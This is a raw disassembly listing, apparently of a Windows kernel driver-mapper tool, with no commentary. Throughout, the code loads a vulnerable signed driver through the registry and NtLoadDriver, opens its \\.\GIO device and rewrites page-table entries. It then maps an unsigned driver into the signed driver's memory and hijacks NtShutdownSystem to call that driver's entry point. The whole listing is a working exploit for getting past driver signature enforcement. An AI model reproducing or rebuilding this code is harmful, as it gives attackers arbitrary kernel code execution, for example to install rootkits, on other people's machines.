call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov qword [rbp + 0x118], rdi
lea rax, [0x140076260]
mov qword [rbp + 0xb0], rax
lea rax, str.left_mouse_button
mov qword [rsp + 0x70], rax
lea r9, [rsp + 0x70]
lea r8, [rbp + 0xb0]
mov edx, 0x6650
lea rcx, [rbp + 0x108]
call fcn.140054c40
nop
mov r8d, 0x10
lea rdx, [rbp + 0x160]
lea rcx, [0x14008f9f4]
call fcn.140057770
nop
lea rcx, [rbp + 0x1b8]
call fcn.140066310
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14006326a
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x20]
call fcn.140054d00
nop
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rdx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
lea rcx, [rbp - 0x20]
call fcn.14005e350
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x20]
call fcn.1400149b0
nop
lea rcx, [rbp + 0x1b8]
call fcn.14005de20
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1f0]
call fcn.14006cf02
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rcx, [rbp + 0x1f0]
call fcn.140056700
nop
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
sub r8, rdx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1f8]
call fcn.14005e640
test rax, rax
jne 0x1400633b7
mov rax, qword [rbp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1f0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0xc8]
call fcn.140054b10
mov qword [rbp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140063834
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140063834
mov dword [rbp + 0x90], 1
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140063834
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0xc8]
call fcn.14005de20
xor r8d, r8d
lea rdx, [rbp + 0x120]
lea rcx, [rbp - 0x80]
call fcn.1400548e0
nop
mov rdx, rax
lea rcx, [rbp]
call fcn.14005df20
nop
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400634cf
mov rcx, qword [rax]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x90], rcx
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x20]
call fcn.140054d00
nop
lea r8, [rbp - 0x20]
lea rdx, str.___
lea rcx, [rbp + 0x1b8]
call fcn.1400549e0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0xc8]
call fcn.1400147a0
nop
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rdx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
lea rcx, [rbp + 0xc8]
call fcn.14005e350
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14006363f
mov bl, 1
jmp 0x140063744
mov rsi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, qword [rbp + 0x158]
cmp r8, 0xf
jbe 0x1400635e7
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14005d2f0
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
jmp 0x140062f2c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8, qword [rbp + 0x100]
cmp r8, 0xf
jbe 0x1400631bd
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.14005d2f0
jmp 0x1400631bd
mov byte [rbp + 0x80], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14006367f
mov bl, 1
jmp 0x140063744
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400636bf
mov bl, 1
jmp 0x140063744
mov byte [rbp + 0x82], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400636fc
mov bl, 1
jmp 0x140063744
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140063709
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140063734
mov bl, 1
jmp 0x140063744
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
test eax, eax
setne bl
lea rcx, [rbp + 0xc8]
call fcn.1400149b0
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400149b0
nop
lea rcx, [rbp - 0x20]
call fcn.1400149b0
nop
lea rcx, [rbp]
call fcn.14005de20
nop
lea rcx, [rbp - 0x80]
call fcn.14005de20
test bl, bl
jne 0x140063840
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.1400147a0
nop
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 0xf
cmova rdx, qword [rbp + 0x160]
mov r8, qword [rbp + 0x170]
lea rcx, [rbp + 0xe8]
call fcn.14005e350
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1a8]
call sub.ntdll.dll_RtlInitAnsiString
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_RtlAnsiStringToUnicodeString
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_NtLoadDriver
test eax, eax
sete bl
lea rcx, [rbp + 0xe8]
call fcn.1400149b0
jmp 0x140063842
lea rcx, [rbp + 0xc8]
call fcn.14005de20
xor bl, bl
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x1b8]
call fcn.140056810
mov byte [rbp + 0x1d8], bl
lea rcx, [rbp + 0x1f0]
call fcn.140057aa0
nop
lea rcx, [rbp + 0x120]
call fcn.1400149b0
nop
lea rcx, [rbp + 0x160]
call fcn.1400149b0
nop
lea rcx, [rbp + 0x108]
call fcn.1400573e0
nop
test bl, bl
jne 0x1400638cd
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14007d620]
movdqu xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x80], bl
mov qword [rbp + 0x180], rdi
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x188]
call fcn.140056810
nop
lea rcx, [rbp - 0x80]
call fcn.1400149b0
jmp 0x14006391c
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..GIO
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14008f9f8], rax
mov qword [rbp + 0x180], rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x188]
call fcn.140056810
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400149b0
nop
cmp qword [rbp + 0x180], 0
je 0x14006417b
cmp qword [rbp + 0x198], 0
je 0x14006417b
lea rdx, str.vulnerable_driver_loaded__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov rcx, rax
call fcn.140014540
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x81]
call fcn.140069540
mov rbx, r14
mov esi, dword [rsp + 0x68]
mov qword [rsp + 0x70], rsi
lea r15, [rsi + r14]
mov edx, 4
cmp r14, r15
jae 0x140063cfb
mov ecx, dword [0x14008fb60]
mov rax, qword gs:[0x58]
mov r14, qword [rax + rcx*8]
add r14, rdx
nop word [rax + rax]
mov eax, dword [r14]
cmp dword [0x14008fa78], eax
jle 0x140063a30
lea rcx, [0x14008fa78]
call fcn.14006c278
cmp dword [0x14008fa78], 0xffffffff
jne 0x140063a30
lea rcx, [0x140075e40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14008fa70], rax
lea rcx, [0x14008fa78]
call fcn.14006c20c
lea rcx, [0x14008f0d0]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x140064297
cmp dword [0x14008f11c], 0x7fffffff
je 0x140064282
mov dword [rbp + 0x108], 0x25ff
mov word [rbp + 0x10c], ax
mov qword [rbp + 0x10e], r12
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.140064c50
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.1400670f0
mov rax, qword [0x14008fa70]
mov rcx, rbx
call rax
mov rsi, rax
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x1a8]
call fcn.1400670f0
lea rcx, [0x14008f0d0]
call sub.MSVCP140.dll__Mtx_unlock
mov r9d, 8
mov r8, rsi
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x81]
call fcn.14006a150
test al, al
jne 0x140063af8
xor eax, eax
mov qword [rbp + 0x20], rax
lea rdx, str.manipulating_page_table__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova rdx, qword [rbp + 0x188]
mov rcx, rax
call fcn.140014540
mov rcx, rax
lea rdx, str._._Large_page__
call fcn.140014540
mov rdx, qword [rbp + 0x20]
shr rdx, 7
and edx, 1
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0x20]
test al, al
jns 0x140063b92
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0x20], rax
lea r8, [rbp + 0x20]
jmp 0x140063cd1
mov eax, dword [r14]
cmp dword [0x14008fa78], eax
jle 0x140063be2
lea rcx, [0x14008fa78]
call fcn.14006c278
cmp dword [0x14008fa78], 0xffffffff
jne 0x140063be2
lea rcx, [0x140075e40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14008fa70], rax
lea rcx, [0x14008fa78]
call fcn.14006c20c
lea rcx, [0x14008f0d0]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x140064277
cmp dword [0x14008f11c], 0x7fffffff
je 0x140064262
mov dword [rbp + 0xb8], 0x25ff
mov word [rbp + 0xbc], ax
mov qword [rbp + 0xbe], r13
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140064c50
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0xb8]
call fcn.1400670f0
mov rax, qword [0x14008fa70]
mov rcx, rbx
call rax
mov rsi, rax
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.1400670f0
lea rcx, [0x14008f0d0]
call sub.MSVCP140.dll__Mtx_unlock
mov r9d, 8
mov r8, rsi
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x81]
call fcn.14006a150
test al, al
jne 0x140063cab
xor eax, eax
jmp 0x140063cb2
mov rax, qword [rbp + 0xb0]
movabs rcx, 0x7ffffffffffffffd
and rax, rcx
or rax, 2
mov qword [rbp + 0xb0], rax
lea r8, [rbp + 0xb0]
mov r9d, 8
mov rdx, rsi
lea rcx, [rbp + 0x81]
call fcn.14006a980
add rbx, 0x1000
cmp rbx, r15
jb 0x1400639e0
mov rsi, qword [rsp + 0x70]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r13, qword [rsp + 0x40]
mov r8d, dword [r13 + 0x54]
mov rdx, qword [0x14008f8b8]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.local_mapped_image_base__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, word [r13 + 0x14]
lea r15, [r13 + 0x18]
add r15, rax
mov r12, qword [rsp + 0x78]
cmp di, word [r13 + 6]
jae 0x140063e6b
lea rsi, [r15 + 0xc]
nop dword [rax + rax]
mov ebx, dword [rsi]
add rbx, r14
mov r8d, dword [rsi + 4]
mov edx, dword [rsi + 8]
add rdx, qword [0x14008f8b8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.mapping_section__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
movsxd rcx, edi
lea r8, [rcx + rcx*4]
lea rdx, [r15 + r8*8]
mov rcx, rax
call fcn.140014540
lea rdx, [0x14007d404]
mov rcx, rax
call fcn.140014540
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, str._____
call fcn.140014540
mov edx, dword [rsi]
add rdx, r12
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.___0x
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsi + 4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
lea rsi, [rsi + 0x28]
movzx eax, word [r13 + 6]
cmp edi, eax
jl 0x140063d90
mov rsi, qword [rsp + 0x70]
lea rdx, str.mapping_driver___signed_driver_in_section__.data__with_size__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, r12
sub rbx, qword [r13 + 0x30]
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.140068bf0
mov rdx, rbx
mov rcx, rax
call fcn.140068d20
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.140068370
mov rcx, rax
call fcn.140068fd0
test al, al
jne 0x140063f5b
lea rdx, str.failed_to_resolve_imports.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1b8]
call fcn.140056810
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140063f4e
mov rcx, rbx
call fcn.140066980
nop
mov rcx, rbx
call fcn.1400149b0
jmp 0x14006419f
mov r8d, dword [r13 + 0x54]
xor edx, edx
mov rcx, r14
call fcn.14006cf02
mov r9, rsi
mov r8, r14
mov rdx, r12
lea rcx, [rbp + 0x81]
call fcn.14006a980
mov ebx, dword [r13 + 0x28]
add rbx, r12
lea rdx, str.mapped_entry_point__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, dword [r13 + 0x50]
mov r8d, dword [0x14008fb60]
mov rax, qword gs:[0x58]
mov r8, qword [rax + r8*8]
mov eax, 4
mov eax, dword [rax + r8]
cmp dword [0x14008fa88], eax
jle 0x140064031
lea rcx, [0x14008fa88]
call fcn.14006c278
cmp dword [0x14008fa88], 0xffffffff
jne 0x140064031
lea rcx, [0x140075e40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14008fa80], rax
lea rcx, [0x14008fa88]
call fcn.14006c20c
lea rcx, [0x14008f120]
call sub.MSVCP140.dll__Mtx_lock
test eax, eax
jne 0x1400642a2
cmp dword [0x14008f16c], 0x7fffffff
je 0x140064215
mov dword [rbp + 0xb8], 0x25ff
mov word [rbp + 0xbc], ax
mov qword [rbp + 0xbe], rbx
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.140064c50
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0xb8]
call fcn.1400670f0
mov rax, qword [0x14008fa80]
mov rdx, rdi
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [0x14008fa00]
nop
mov r8d, 0xe
lea rdx, [rbp + 0x90]
call fcn.1400670f0
lea rcx, [0x14008f120]
call sub.MSVCP140.dll__Mtx_unlock
lea rdx, str.driver_entry_returned__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x140061aa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14007d2b4]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1b8]
call fcn.140056810
mov rbx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140064162
mov rcx, rbx
call fcn.140066980
test al, al
je 0x140064162
mov dil, 1
jmp 0x140064165
xor dil, dil
mov rcx, rbx
call fcn.1400149b0
test dil, dil
jne 0x14006419f
lea rdx, str.unable_to_unload_vulnerable_driver.
jmp 0x140064182
lea rdx, str.unable_to_load_vulnerable_driver.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x180]
call fcn.140057350
jmp 0x1400641da
lea rdx, str.failed_to_sig_scan_PTE_functions.
jmp 0x1400641bd
lea rdx, str.failed_to_load_signed_driver__please_restart_your_computer
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014540
lea rdx, [0x1400560b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x30]
call fcn.140057530
mov al, 1
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.14006bf70
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [0x14008f16c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, str.absolute
call fcn.14005dcb0
nop
mov ecx, 0x16
call fcn.14005dd80
int3
shr rsi, 0x20
mov ecx, esi
call fcn.14005ddc0
int3
shr rcx, 0x20
call fcn.14005ddc0
nop
mov dword [0x14008f11c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov dword [0x14008f11c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3